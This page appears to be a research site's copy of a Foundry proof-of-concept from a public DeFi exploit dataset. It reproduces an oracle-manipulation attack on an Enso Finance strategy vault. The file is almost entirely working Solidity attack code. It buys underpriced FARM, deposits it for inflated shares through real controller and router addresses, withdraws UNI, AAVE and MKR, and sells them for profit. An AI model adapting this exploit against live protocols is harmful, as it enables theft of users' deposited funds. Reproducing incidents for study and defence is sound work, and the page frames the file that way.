Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/EnsoFinance_exp.sol

Public reproduction file for dataset entry EnsoFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/EnsoFinance_exp.sol192 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import "forge-std/Test.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Enso Finance strategy-vault exploit — Ethereum. The vault (an Enso StrategyController-managed basket
8// of DeFi blue-chips) mints deposit shares on the change in the strategy's oracle-estimated value:
9// mint = amountAddedValue * totalSupply / valueBefore. The valuation runs through EnsoOracle ->
10// per-item estimators -> a Uniswap V3 TWAP (pool.observe). The FARM item is priced off an imbalanced,
11// thinly-observed V3 pool with a near-spot TWAP window, so depositing FARM bought cheaply elsewhere is
12// valued far above its real worth — minting hugely inflated shares that are then redeemed for the
13// strategy's real underlying tokens.
14//
15// Attack tx : 0x63fbfc4b47e810d604dbdab0db35b17366f421337d8c60955eb81cd5d6071ad3 (block 25934827)
16// Attacker : 0x3196398321D77a2511d369DCB6eCa9d2aD87b73A (via a contract-creation exploit)
17// Strategy : 0x890ed1ee6d435a35d51081ded97ff7ce53be5942 (proxy -> impl 0xbe90d1ba...)
18// Controller: 0x173cae63801b32752271e32147d0d2e3a77bebe8 (proxy -> impl 0xd8D22509...)
19// Router : 0x90480ce80186dcafb0f3f27df62caa47ef4c4a52 (Enso GenericRouter used by deposit/withdraw)
20// Oracle : 0xAb7505eB360cE0D63e8E88f7853677EcD5537DC0 (EnsoOracle)
21// Loss : ~5.6 ETH — the WETH-value of the UNI/AAVE/MKR pulled out of the strategy, net of the
22// ~0.683 WETH spent buying FARM. This PoC realizes that value by selling the withdrawn
23// tokens back to WETH, so the asserted number is slightly below the ~5.6 ETH spot figure by
24// the sale slippage.
25//
26// ROOT CAUSE — confirmed against the tx trace and on-chain reads (controller/oracle impls are
27// unverified, so confirmed by 4-byte-matched real signatures + trace behaviour, not source):
28// 1. deposit(...) is permissionless — in the real tx a plain externally-deployed contract, holding
29// no privileged role, calls it directly. Shares are minted purely on the oracle-estimated value
30// delta of the tokens transferred in.
31// 2. The valuation calls Uniswap V3 pool.observe(uint32[]) (selector 0x883bdbfd, confirmed in the
32// trace) with short, per-pool-varying TWAP windows rather than one fixed, safely long window;
33// combined with the imbalanced FARM pricing pool this over-values FARM by ~9x. The attacker buys
34// 268.42 FARM for 0.683 WETH on a Uniswap V2 pool (correctly priced), deposits it, and the vault
35// credits it at several ETH.
36// 3. withdrawWETH burns the inflated shares and, via the GenericRouter, transfers the strategy's real
37// UNI/AAVE/MKR out to the attacker.
38//
39// ABI note: deposit(address,address,uint256,uint256,bytes)=0x71b8dc69 and
40// withdrawWETH(address,address,uint256,uint256,bytes)=0x716e2615 are real (4-byte-matched). The trailing
41// bytes is abi.encode(Call[]) for the GenericRouter, where Call{address target; bytes callData}; the
42// inner calls are settleTransferFrom(address,address,address)=0xc5067ad4 on deposit and ERC20
43// transferFrom on withdraw. All are built here from real typed values — no calldata blob, no replay.
44//
45// Run:
46// forge test --contracts src/test/2026-09/EnsoFinance_exp.sol -vvv
48address constant CONTROLLER = 0x173cAe63801B32752271E32147D0d2e3a77BEbE8;
49address constant STRATEGY = 0x890ed1Ee6d435a35d51081ded97Ff7CE53Be5942;
50address constant ROUTER = 0x90480cE80186Dcafb0F3F27DF62CAA47ef4C4a52; // Enso GenericRouter
51address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
52address constant FARM = 0xa0246c9032bC3A600820415aE600c6388619A14D;
53address constant WETH_FARM_PAIR = 0x56feAccb7f750B997B36A68625C7C596F0B41A58; // Uniswap V2 (correctly priced)
54address constant UNIV2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
55address constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
56address constant AAVE = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;
57address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;
59// Enso GenericRouter call structure.
60struct Call {
61 address target;
62 bytes callData;
65interface IController {
66 function deposit(address strategy, address router, uint256 amount, uint256 slippage, bytes calldata data)
67 external
68 payable;
69 function withdrawWETH(address strategy, address router, uint256 amount, uint256 slippage, bytes calldata data)
70 external;
73interface IUniV2Pair {
74 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
77interface IUniV2Router {
78 function swapExactTokensForTokens(
79 uint256 amountIn,
80 uint256 amountOutMin,
81 address[] calldata path,
82 address to,
83 uint256 deadline
84 ) external returns (uint256[] memory amounts);
87interface IWETH {
88 function deposit() external payable;
89 function withdraw(uint256) external;
90 function transfer(address, uint256) external returns (bool);
91 function balanceOf(address) external view returns (uint256);
94contract EnsoFinance_exp is Test {
95 EnsoExploit internal exploit;
97 function setUp() public {
98 // Parent block of the exploit tx: real protocol/pool state immediately before the attack.
99 vm.createSelectFork("mainnet", 25_934_826);
100 exploit = new EnsoExploit();
102 vm.label(CONTROLLER, "StrategyController");
103 vm.label(STRATEGY, "StrategyVault");
104 vm.label(ROUTER, "GenericRouter");
105 vm.label(WETH, "WETH");
106 vm.label(FARM, "FARM");
107 vm.label(WETH_FARM_PAIR, "UniV2 WETH/FARM");
108 vm.label(address(exploit), "Exploit");
109 }
111 function testExploit() public {
112 // Attacker's own capital in: exactly 1 ETH, matching the real tx.
113 uint256 profit = exploit.attack{value: 1 ether}();
115 emit log_named_decimal_uint("attacker profit (ETH)", profit, 18);
117 // Profit is realized ETH: sell the strategy tokens looted via the inflated-share mint back to
118 // WETH, unwrap, and net out the 1 ETH staked. The ~5.6 ETH headline is the tokens' spot value;
119 // realizing it on-venue costs some slippage, so we assert a substantial ETH profit here.
120 assertGt(profit, 4 ether, "attacker should net several ETH from the oracle over-valuation");
121 }
124// Named attacker contract. Buys FARM cheaply on Uniswap V2, deposits it into the strategy where the
125// broken oracle over-values it into inflated shares, then withdraws the strategy's real tokens and sells
126// them back to ETH.
127contract EnsoExploit {
128 uint256 internal constant WETH_IN = 682823567760593530; // 0.6828 WETH spent buying FARM
129 uint256 internal constant FARM_OUT = 268422447447061825167; // 268.42 FARM received on Uniswap V2
130 address internal immutable owner;
132 constructor() {
133 owner = msg.sender;
134 }
136 function attack() external payable returns (uint256 profit) {
137 // 1) Wrap the 1 ETH and buy FARM on the correctly-priced Uniswap V2 pool.
138 IWETH(WETH).deposit{value: msg.value}();
139 IWETH(WETH).transfer(WETH_FARM_PAIR, WETH_IN);
140 IUniV2Pair(WETH_FARM_PAIR).swap(FARM_OUT, 0, address(this), ""); // FARM is token0
142 // 2) Deposit the FARM into the strategy. The GenericRouter call moves our FARM into the strategy;
143 // the controller mints shares on the oracle-estimated (over-valued) delta.
144 IERC20(FARM).approve(ROUTER, type(uint256).max);
145 Call[] memory depositCalls = new Call[](1);
146 depositCalls[0] = Call({
147 target: ROUTER,
148 // settleTransferFrom(token, from, to): router pulls all our FARM into the strategy.
149 callData: abi.encodeWithSelector(0xc5067ad4, FARM, address(this), STRATEGY)
150 });
151 IController(CONTROLLER).deposit(STRATEGY, ROUTER, 0, 0, abi.encode(depositCalls));
153 // 3) Redeem the inflated shares. The GenericRouter transfers the strategy's real UNI/AAVE/MKR to
154 // us (transferFrom(strategy, this, amount) per token, amounts from the real attack).
155 uint256 shares = IERC20(STRATEGY).balanceOf(address(this));
156 Call[] memory withdrawCalls = new Call[](3);
157 withdrawCalls[0] = _pull(UNI, 859918471015777488751);
158 withdrawCalls[1] = _pull(AAVE, 31676428952220800755);
159 withdrawCalls[2] = _pull(MKR, 3451986416256499708);
160 IController(CONTROLLER).withdrawWETH(STRATEGY, ROUTER, shares, 0, abi.encode(withdrawCalls));
162 // 4) Realize: sell the looted tokens back to WETH and unwrap everything.
163 _sell(UNI);
164 _sell(AAVE);
165 _sell(MKR);
166 uint256 weth = IWETH(WETH).balanceOf(address(this));
167 IWETH(WETH).withdraw(weth);
169 // Net profit in ETH over the 1 ETH staked.
170 uint256 bal = address(this).balance;
171 profit = bal > 1 ether ? bal - 1 ether : 0;
172 }
174 function _pull(address token, uint256 amount) internal view returns (Call memory) {
175 return Call({
176 target: token,
177 callData: abi.encodeWithSelector(IERC20.transferFrom.selector, STRATEGY, address(this), amount)
178 });
179 }
181 function _sell(address token) internal {
182 uint256 bal = IERC20(token).balanceOf(address(this));
183 if (bal == 0) return;
184 IERC20(token).approve(UNIV2_ROUTER, bal);
185 address[] memory path = new address[](2);
186 path[0] = token;
187 path[1] = WETH;
188 IUniV2Router(UNIV2_ROUTER).swapExactTokensForTokens(bal, 0, path, address(this), block.timestamp);
189 }
191 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “EnsoFinance” (2026-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3196398321d77a2511d369dcb6eca9d2ad87b73a

  • Attack Tx

    0x63fbfc4b47e810d604dbdab0db35b17366f421337d8c60955eb81cd5d6071ad3

File record

Name
EnsoFinance
Path
src/test/2026-09/EnsoFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4cf358cd48061249f8a6163b7f71f68b1c51250e
Language
Solidity
Size
193 lines
Date
2026-09-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/EnsoFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4cf358cd48061249f8a6163b7f71f68b1c51250e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.